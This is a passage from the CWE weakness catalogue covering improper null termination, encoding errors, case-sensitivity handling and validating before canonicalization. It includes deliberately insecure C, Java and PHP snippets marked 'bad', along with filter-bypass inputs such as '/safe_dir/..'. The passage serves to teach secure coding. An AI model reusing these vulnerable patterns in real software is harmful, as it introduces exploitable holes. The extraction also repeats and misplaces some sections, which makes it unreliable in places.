While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1640

### Notes

#### Maintenance

The list of children for this entry is far from complete.

#### Terminology

Precise terminology for the underlying weaknesses does not exist. Therefore, these weaknesses use the terminology associated with the manipulation.

#### Research Gap

Customized languages and grammars, even those that are specific to a particular product, are potential sources of weaknesses that are related to special elements. However, most researchers concentrate on the most commonly used representations for data transmission, such as HTML and SQL. Any representation that is commonly used is likely to be a rich source of weaknesses; researchers are encouraged to investigate previously unexplored representations.

## CWE-160: Improper Neutralization of Leading Special Elements

**Weakness ID :** 160 **Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

### Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

### Extended Description

As data is parsed, improperly handled leading special elements may cause the process to take unexpected actions that result in an attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related

fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## CWE-164: Improper Neutralization of Internal Special Elements

**Weakness ID :** 164

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

#### Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

#### Extended Description

As data is parsed, improperly handled internal special elements may cause the process to take unexpected actions that result in an attack.

#### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

**CWE-170: Improper Null Termination****Weakness ID** : 170**Status**: Incomplete**Structure** : Simple**Abstraction** : Base**Description**

The software does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.

**Extended Description**

Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.

**Relationships**

**Weakness Ordinalities**

**Resultant :**

**Applicable Platforms**

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

**Likelihood Of Exploit**

Medium

**Common Consequences**

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Read Memory Execute Unauthorized Code or Commands  <i>The case of an omitted null character is the most dangerous of the possible issues. This will almost certainly result in information disclosure, and possibly a buffer overflow condition, which may be exploited to execute arbitrary code.</i>	
Confidentiality Integrity Availability	DoS: Crash, Exit, or Restart Read Memory DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)  <i>If a null character is omitted from a string, then most string-copying functions will read data until they locate a null character, even outside of the intended boundaries of the string. This could: cause a crash due to a segmentation fault cause sensitive adjacent memory to be copied and sent to an outsider trigger a buffer overflow when the copy is being written to a fixed-size buffer</i>	
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	<i>Misplaced null characters may result in any number of security problems. The biggest issue is a subset of buffer overflow, and write-what-where conditions, where data corruption occurs from the writing of a null character over valid data, or even instructions. A randomly placed null character may put the system into an undefined state, and therefore make it prone to crashing. A misplaced null character may corrupt other data in memory.</i>	
Integrity Confidentiality Availability Access Control Other	Alter Execution Logic Execute Unauthorized Code or Commands	
	<i>Should the null character corrupt the process flow, or affect a flag controlling access, it may lead to logical errors which allow for the execution of arbitrary code.</i>	

### Potential Mitigations

#### Phase: Requirements

Use a language that is not susceptible to these issues. However, be careful of null byte interaction errors (CWE-626) with lower-level constructs that may be written in a language that is susceptible.

#### Phase: Implementation

Ensure that all string functions used are understood fully as to how they append null characters. Also, be wary of off-by-one errors when appending nulls to the end of strings.

#### Phase: Implementation

If performance constraints permit, special code can be added that validates null-termination of string buffers, this is a rather naive and error-prone solution.

#### Phase: Implementation

Switch to bounded string manipulation functions. Inspect buffer lengths involved in the buffer overrun trace reported with the defect.

#### Phase: Implementation

Add code that fills buffers with nulls (however, the length of buffers still needs to be inspected, to ensure that the non null-terminated string is not written at the physical end of the buffer).

### Demonstrative Examples

#### Example 1:

The following code reads from `cfgfile` and copies the input into `inputbuf` using `strcpy()`. The code mistakenly assumes that `inputbuf` will always contain a NULL terminator.

Example Language: C

(bad)

```
#define MAXLEN 1024...char *pathbuf[MAXLEN];...read(cfgfile,inputbuf,MAXLEN); //does not null
terminatestrcpy(pathbuf,inputbuf); //requires null terminated input...
```

The code above will behave correctly if the data read from `cfgfile` is null terminated on disk as expected. But if an attacker is able to modify this input so that it does not contain the expected NULL character, the call to `strcpy()` will continue copying from memory until it encounters an arbitrary NULL character. This will likely overflow the destination buffer and, if the attacker can control the contents of memory immediately following `inputbuf`, can leave the application susceptible to a buffer overflow attack.

#### Example 2:

In the following code, `readlink()` expands the name of a symbolic link stored in `pathname` and puts the absolute path into `buf`. The length of the resulting value is then calculated using `strlen()`.

Example Language: C

(bad)

```
char buf[MAXPATH];...readlink(pathname, buf, MAXPATH);int length = strlen(buf);...
```

The code above will not always behave correctly as `readlink()` does not append a NULL byte to `buf`. `Readlink()` will stop copying characters once the maximum size of `buf` has been reached to avoid overflowing the buffer, this will leave the value `buf` not NULL terminated. In this situation, `strlen()` will continue traversing memory until it encounters an arbitrary NULL character further on down the stack, resulting in a length value that is much larger than the size of string. `Readlink()` does return the number of bytes copied, but when this return value is the same as stated `buf` size (in this case `MAXPATH`), it is impossible to know whether the `pathname` is precisely that many bytes long, or whether `readlink()` has truncated the name to avoid overrunning the buffer. In testing, vulnerabilities like this one might not be caught because the unused contents of `buf` and the memory immediately following it may be NULL, thereby causing `strlen()` to appear as if it is behaving correctly.

### Example 3:

While the following example is not exploitable, it provides a good example of how nulls can be omitted or misplaced, even when "safe" functions are used:

Example Language: C

(bad)

```
#include <stdio.h>#include <string.h> int main() { char longString[] = "String signifying nothing";char shortString[16];
strncpy(shortString, longString, 16);printf("The last character in shortString is: %c (%1$x)\n", shortString[15]);return (0); }
```

The above code gives the following output: "The last character in shortString is: n (6e)". So, the `shortString` array does not end in a NULL character, even though the "safe" string function `strncpy()` was used. The reason is that `strncpy()` does not implicitly add a NULL character at the end of the string when the source is equal in length or longer than the provided size.

## Observed Examples

Reference	Description
<b>CVE-2000-0312</b>	Attacker does not null-terminate <code>argv[]</code> when invoking another program. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0312">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0312</a>
<b>CVE-2003-0777</b>	Interrupted step causes resultant lack of null termination. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0777">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0777</a>
<b>CVE-2004-1072</b>	Fault causes resultant lack of null termination, leading to buffer expansion. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1072">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1072</a>

<b>CVE-2003-0143</b>	Product does not null terminate a message buffer after <code>sprintf</code> -like call, leading to overflow. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0143">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0143</a>
<b>CVE-2009-2523</b>	Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2523">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2523</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1567

Nature	Type	ID	Name	V	Page
MemberOf	C	741	CERT C Secure Coding (2008 Version) Section 07 - Characters and Strings (STR)		734 1573
MemberOf	C	748	CERT C Secure Coding (2008 Version) Section 50 - POSIX (POS)		734 1579
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)		868 1603
MemberOf	V	884	CWE Cross-section		884 1681
MemberOf	C	973	SFP Secondary Cluster: Improper NULL Termination		888 1632

## Notes

### Relationship

Factors: this is usually resultant from other weaknesses such as off-by-one errors, but it can be primary to boundary condition violations such as buffer overflows. In buffer overflows, it can act as an expander for assumed-immutable data.

### Relationship

Overlaps missing input terminator.

### Applicable Platform

Conceptually, this does not just apply to the C language; any language or representation that involves a terminator could have this type of problem.

### Maintenance

As currently described, this entry is more like a category than a weakness.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improper Null Termination
7 Pernicious Kingdoms			String Termination Error
CLASP			Miscalculated null termination
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	POS30-C	CWE More Abstract	Use the readlink() function properly
CERT C Secure Coding	STR03-C		Do not inadvertently truncate a null-terminated byte string
CERT C Secure Coding	STR32-C	Exact	Do not pass a non-null-terminated character sequence to a library function that expects a string
Software Fault Patterns	SFP11		Improper Null Termination

## CWE-172: Encoding Error

Weakness ID : 172

Status: Draft

Structure : Simple

Abstraction : Class

### Description

The software does not properly encode or decode the data, resulting in unexpected values.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

**Applicable Platforms**

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Common Consequences**

Scope	Impact	Likelihood
Integrity	Unexpected State	

**Potential Mitigations**

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Input Validation*

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input

is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2004-1315</b>	Forum software improperly URL decodes the highlight parameter when extracting text to highlight, which allows remote attackers to execute arbitrary PHP code by double-encoding the highlight value so that special characters are inserted into the result. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1315">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1315</a>

Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Demonstrative Examples

#### Example 1:

Windows provides the `MultiByteToWideChar()`, `WideCharToMultiByte()`, `UnicodeToBytes()`, and `BytesToUnicode()` functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error.

In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however,

characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow.

The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string.

Example Language: C

(bad)

```
void getUserInfo(char *username, struct _USER_INFO_2 info){WCHAR unicodeUser[UNLEN+1];MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser, sizeof(unicodeUser));NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info);}
```

This function incorrectly passes the size of unicodeUser in bytes instead of characters. The call to MultiByteToWideChar() can therefore write up to (UNLEN+1)\*sizeof(WCHAR) wide characters, or (UNLEN+1)\*sizeof(WCHAR)\*sizeof(WCHAR) bytes, to the unicodeUser array, which has only (UNLEN+1)\*sizeof(WCHAR) bytes allocated.

If the username string contains more than UNLEN characters, the call to MultiByteToWideChar() will overflow the buffer unicodeUser.

### Observed Examples

## CWE-178: Improper Handling of Case Sensitivity

<b>Weakness ID</b> : 178	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

### Extended Description

Improperly handled case sensitive data can lead to several possible consequences, including: case-insensitive passwords reducing the size of the key space, making brute force attacks easier by bypassing filters or access controls using alternate names multiple interpretation errors using alternate names.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1276
CanPrecede		289	Authentication Bypass by Alternate Name	607
CanPrecede		433	Unparsed Raw Web Content Delivery	879

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		171	Cleansing, Canonicalization, and Comparison Errors	1536

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Input Validation*

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Demonstrative Examples

### Example 1:

In the following example, an XSS neutralization method replaces script tags in user supplied input with a safe equivalent:

*Example Language: Java*

*(bad)*

```
public String preventXSS(String input, String mask) {return input.replaceAll("script", mask);}
```

The code only works when the "script" tag is in all lower-case, forming an incomplete blacklist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.

## Observed Examples

Reference	Description
<b>CVE-2000-0499</b>	Application server allows attackers to bypass execution of a jsp page and read the source code using an upper case JSP extension in the request. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0499">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0499</a>
<b>CVE-2000-0497</b>	The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text". <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0497">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0497</a>
<b>CVE-2000-0498</b>	The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".

Reference	Description
	<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0498">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0498</a>
<b>CVE-2001-0766</b>	A URL that contains some characters whose case is not matched by the server's filters may bypass access restrictions because the case-insensitive file system will then handle the request after it bypasses the case sensitive filter. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0766">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0766</a>
<b>CVE-2001-0795</b>	Server allows remote attackers to obtain source code of CGI scripts via URLs that contain MS-DOS conventions such as (1) upper case letters or (2) 8.3 file names. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0795">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0795</a>
<b>CVE-2001-1238</b>	Task Manager does not allow local users to end processes with uppercase letters named (1) winlogon.exe, (2) csrss.exe, (3) smss.exe and (4) services.exe via the Process tab which could allow local users to install Trojan horses that cannot be stopped. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1238">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1238</a>
<b>CVE-2003-0411</b>	chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text". <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0411">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0411</a>
<b>CVE-2002-0485</b>	Leads to interpretation error <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0485">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0485</a>
<b>CVE-1999-0239</b>	Directories may be listed because lower case web requests are not properly handled by the server. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0239">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0239</a>
<b>CVE-2005-0269</b>	File extension check in forum software only verifies extensions that contain all lowercase letters, which allows remote attackers to upload arbitrary files via file extensions that include uppercase letters. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0269">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0269</a>
<b>CVE-2004-1083</b>	Web server restricts access to files in a case sensitive manner, but the filesystem accesses files in a case insensitive manner, which allows remote attackers to read privileged files using alternate capitalization. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1083">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1083</a>
<b>CVE-2002-2119</b>	Case insensitive passwords lead to search space reduction. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2119">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2119</a>
<b>CVE-2004-2214</b>	HTTP server allows bypass of access restrictions using URIs with mixed case. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2214">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2214</a>
<b>CVE-2004-2154</b>	Mixed upper/lowercase allows bypass of ACLs. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2154">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2154</a>
<b>CVE-2005-4509</b>	Bypass malicious script detection by using tokens that aren't case sensitive. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4509">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4509</a>
<b>CVE-2002-1820</b>	Mixed case problem allows "admin" to have "Admin" rights (alternate name property). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1820">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1820</a>
<b>CVE-2007-3365</b>	Chain: uppercase file extensions causes web server to return script source code instead of executing the script. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3365">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3365</a>

#### Functional Areas

- File Processing

#### Affected Resources

- File or Directory

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		992	SFP Secondary Cluster: Faulty Input Transformation	888	1643

## Notes

### Research Gap

These are probably under-studied in Windows and Mac environments, where file names are case-insensitive and thus are subject to equivalence manipulations involving case.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Case Sensitivity (lowercase, uppercase, mixed case)

## CWE-179: Incorrect Behavior Order: Early Validation

<b>Weakness ID</b> : 179	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The software validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.

## Extended Description

Software needs to validate data at the proper time, after data has been canonicalized and cleansed. Early validation is susceptible to various manipulations that result in dangerous inputs that are produced by canonicalization and cleansing.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

ParentOf		180	Incorrect Behavior Order: Validate Before Canonicalize	407
ParentOf		181	Incorrect Behavior Order: Validate Before Filter	409

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		171	Cleansing, Canonicalization, and Comparison Errors	1536
ChildOf		20	Improper Input Validation	17

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control Integrity	Bypass Protection Mechanism Execute Unauthorized Code or Commands	
<i>An attacker could include dangerous input that bypasses validation protection mechanisms which can be used to launch various attacks including injection attacks, execute arbitrary code or cause other unintended behavior.</i>		

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Demonstrative Examples

### Example 1:

The following code attempts to validate a given input path by checking it against a whitelist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string `"/safe_dir/"`.

*Example Language: Java*

*(bad)*

```
String path = getInputPath();if (path.startsWith("/safe_dir/")){File f = new File(path);return f.getCanonicalPath();}
```

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of `"/safe_dir/.."` that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonized the path would become just `"/"`.

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

*Example Language: Java*

*(good)*

```
String path = getInputPath();File f = new File(path);if (f.getCanonicalPath().startsWith("/safe_dir/")){return f.getCanonicalPath();}
```

### Example 2:

This script creates a subdirectory within a user directory and sets the user as the owner.

*Example Language: PHP*

*(bad)*

```
function createDir($userName,$dirName){$userDir = '/users/'. $userName;if(strpos($dirName,'..') !== false){echo 'Directory name contains invalid sequence';return;} //filter out '~' because other scripts identify user directories by this prefix $dirName = str_replace('~','',$dirName);$newDir = $userDir . $dirName;mkdir($newDir, 0700);chown($newDir,$userName);}
```

While the script attempts to screen for `'..'` sequences, an attacker can submit a directory path including `"~."`, which will then become `".."` after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

## Observed Examples

Reference	Description
<b>CVE-2002-0433</b>	Product allows remote attackers to view restricted files via an HTTP request containing a <code>"**"</code> (wildcard or asterisk) character.

## CWE-180: Incorrect Behavior Order: Validate Before Canonicalize

**Weakness ID** : 180**Status**: Draft**Structure** : Simple**Abstraction** : Base

### Description

The software validates input before it is canonicalized, which prevents the software from detecting data that becomes invalid after the canonicalization step.

### Extended Description

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		179	Incorrect Behavior Order: Early Validation	404

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		171	Cleansing, Canonicalization, and Comparison Errors	1536
ChildOf		20	Improper Input Validation	17

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Demonstrative Examples

#### Example 1:

The following code attempts to validate a given input path by checking it against a whitelist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string `"/safe_dir/"`.

Example Language: Java

(bad)

```
String path = getInputPath();if (path.startsWith("/safe_dir/")){File f = new File(path);return f.getCanonicalPath();}
```

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of "/safe\_dir/.." that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonized the path would become just "/".

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

Example Language: Java

(good)

```
String path = getInputPath();File f = new File(path);if (f.getCanonicalPath().startsWith("/safe_dir/")){return f.getCanonicalPath();}
```

## Observed Examples

Reference	Description
